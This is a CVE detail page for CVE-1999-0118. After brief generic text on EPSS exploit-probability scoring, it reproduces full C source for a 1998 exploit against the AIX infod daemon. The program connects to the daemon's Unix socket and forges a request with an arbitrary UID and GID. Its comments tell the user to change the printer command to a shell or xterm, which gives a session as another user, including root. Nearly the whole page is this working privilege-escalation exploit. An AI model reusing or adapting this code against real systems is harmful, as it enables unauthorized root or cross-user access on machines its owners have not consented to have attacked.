CVE-1999-0118 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/370/info Certain versions of AIX ship with an Information Daemon, infod. This program is designed to provide information about the OS and installed ancilliary programs. The daemon which runs as root, does not check credentials which are passed to it. This allows users to pass requests with arbitrary UID's. If a user passes infod a request as root, they can goto the default options menu and change the printer command line to an alternate binary such as /bin/sh that gives privileges to the account the session was spawned under. */ /* Infod AIX exploit (k) Arisme 21/11/98 - All Rights Reversed Based on RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com) Run program with the login you want to exploit :) When the window appears, select "options", "defaults", change printer to something more useful (like /bin/x11/xterm) and print ! Comments,questions : [email protected] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <pwd.h> #define TAILLE_BUFFER 2000 #define SOCK_PATH "/tmp/.info-help" #define PWD "/tmp" #define KOPY "Infod AIX exploit (k) Arisme 21/11/98\nAdvisory RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)" #define NOUSER "Use : infofun [login]" #define UNKNOWN "User does not exist !" #define OK "Waiting for magic window ... if you have problems check the xhost " void send_environ(char *var,FILE *param) { char tempo[TAILLE_BUFFER]; int taille; taille=strlen(var); sprintf(tempo,"%c%s%c%c%c",taille,var,0,0,0); fwrite(tempo,1,taille+4,param); } main(int argc,char** argv) { struct sockaddr_un sin,expediteur; struct hostent *hp; struct passwd *info; int chaussette,taille_expediteur,port,taille_struct,taille_param; char buffer[TAILLE_BUFFER],paramz[TAILLE_BUFFER],*disp,*pointeur; FILE *param; char *HOME,*LOGIN; int UID,GID; printf("\n\n%s\n\n",KOPY); if (argc!=2) { printf("%s\n",NOUSER); exit(1); } info=getpwnam(argv[1]); if (!info) { printf("%s\n",UNKNOWN); exit(1); } HOME=info->pw_dir; LOGIN=info->pw_name; UID=info->pw_uid; GID=info->pw_gid; param=fopen("/tmp/tempo.fun","wb"); chaussette=socket(AF_UNIX,SOCK_STREAM,0); sin.sun_family=AF_UNIX; strcpy(sin.sun_path,SOCK_PATH); taille_struct=sizeof(struct sockaddr_un); if (connect(chaussette,(struct sockaddr*)&sin,taille_struct)<0) { perror("connect"); exit(1); } /* 0 0 PF_UID pf_UID 0 0 */ sprintf(buffer,"%c%c%c%c%c%c",0,0,UID>>8,UID-((UID>>8)*256),0,0); fwrite(buffer,1,6,param); /* PF_GID pf_GID */ sprintf(buffer,"%c%c",GID>>8,GID-((GID>>8)*256)); fwrite(buffer,1,2,param); /* DISPLAY (259) */ bzero(buffer,TAILLE_BUFFER); strcpy(buffer,getenv("DISPLAY")); fwrite(buffer,1,259,param); /* LANG (1 C 0 0 0 0 0 0 0) */ sprintf(buffer,"%c%c%c%c%c%c%c%c%c",1,67,0,0,0,0,0,0,0); fwrite(buffer,1,9,param); /* size_$HOME $HOME 0 0 0 */ send_environ(HOME,param); /* size_$LOGNAME $LOGNAME 0 0 0 */ send_environ(LOGIN,param); /* size_$USERNAME $USERNAME 0 0 0 */ send_environ(LOGIN,param); /* size_$PWD $PWD 0 0 0 */ send_environ(PWD,param); /* size_DISPLAY DISPLAY 0 0 0 */ //send_environ(ptsname(0),param); /* If we send our pts, info_gr will crash as it has already changed UID * / send_environ("/dev/null",param); /* It's probably not useful to copy all these environment vars but it was good for debugging :) */ sprintf(buffer,"%c%c%c%c",23,0,0,0); fwrite(buffer,1,4,param); sprintf(buffer,"_=./startinfo"); send_environ(buffer,param); sprintf(buffer,"TMPDIR=/tmp"); send_environ(buffer,param); sprintf(buffer,"LANG=%s",getenv("LANG")); send_environ(buffer,param); sprintf(buffer,"LOGIN=%s",LOGIN); send_environ(buffer,param); sprintf(buffer,"NLSPATH=%s",getenv("NLSPATH")); send_environ(buffer,param); sprintf(buffer,"PATH=%s",getenv("PATH")); send_environ(buffer,param); sprintf(buffer,"%s","EDITOR=emacs"); send_environ(buffer,param); sprintf(buffer,"LOGNAME=%s",LOGIN); send_environ(buffer,param); sprintf(buffer,"MAIL=/usr/spool/mail/%s",LOGIN); send_environ(buffer,param); sprintf(buffer,"HOSTNAME=%s",getenv("HOSTNAME")); send_environ(buffer,param); sprintf(buffer,"LOCPATH=%s",getenv("LOCPATH")); send_environ(buffer,param); sprintf(buffer,"%s","PS1=(exploited !) "); send_environ(buffer,param); sprintf(buffer,"USER=%s",LOGIN); send_environ(buffer,param); sprintf(buffer,"AUTHSTATE=%s",getenv("AUTHSTATE")); send_environ(buffer,param); sprintf(buffer,"DISPLAY=%s",getenv("DISPLAY")); send_environ(buffer,param); sprintf(buffer,"SHELL=%s",getenv("SHELL")); send_environ(buffer,param); sprintf(buffer,"%s","ODMDIR=/etc/objrepos"); send_environ(buffer,param); sprintf(buffer,"HOME=%s",HOME); send_environ(buffer,param); sprintf(buffer,"%s","TERM=vt220"); send_environ(buffer,param); sprintf(buffer,"%s","MAILMSG=[YOU HAVE NEW MAIL]"); send_environ(buffer,param); sprintf(buffer,"PWD=%s",PWD); send_environ(buffer,param); sprintf(buffer,"%s","TZ=NFT-1"); send_environ(buffer,param); sprintf(buffer,"%s","A__z=! LOGNAME"); send_environ(buffer,param); /* Start info_gr with -q parameter or the process will be run locally and not from the daemon ... */ sprintf(buffer,"%c%c%c%c",1,45,113,0); fwrite(buffer,1,4,param); fclose(param); param=fopen("/tmp/tempo.fun","rb"); fseek(param,0,SEEK_END); taille_param=ftell(param); fseek(param,0,SEEK_SET); fread(paramz,1,taille_param,param); fclose(param); unlink("/tmp/tempo.fun"); /* Thank you Mr daemon :) */ write(chaussette,paramz,taille_param); printf("\n%s %s\n",OK,getenv("HOSTNAME")); close(chaussette); }